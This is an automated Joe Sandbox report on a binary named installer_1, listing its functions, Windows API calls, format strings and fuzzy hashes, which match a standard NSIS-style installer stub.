Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0001B400,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
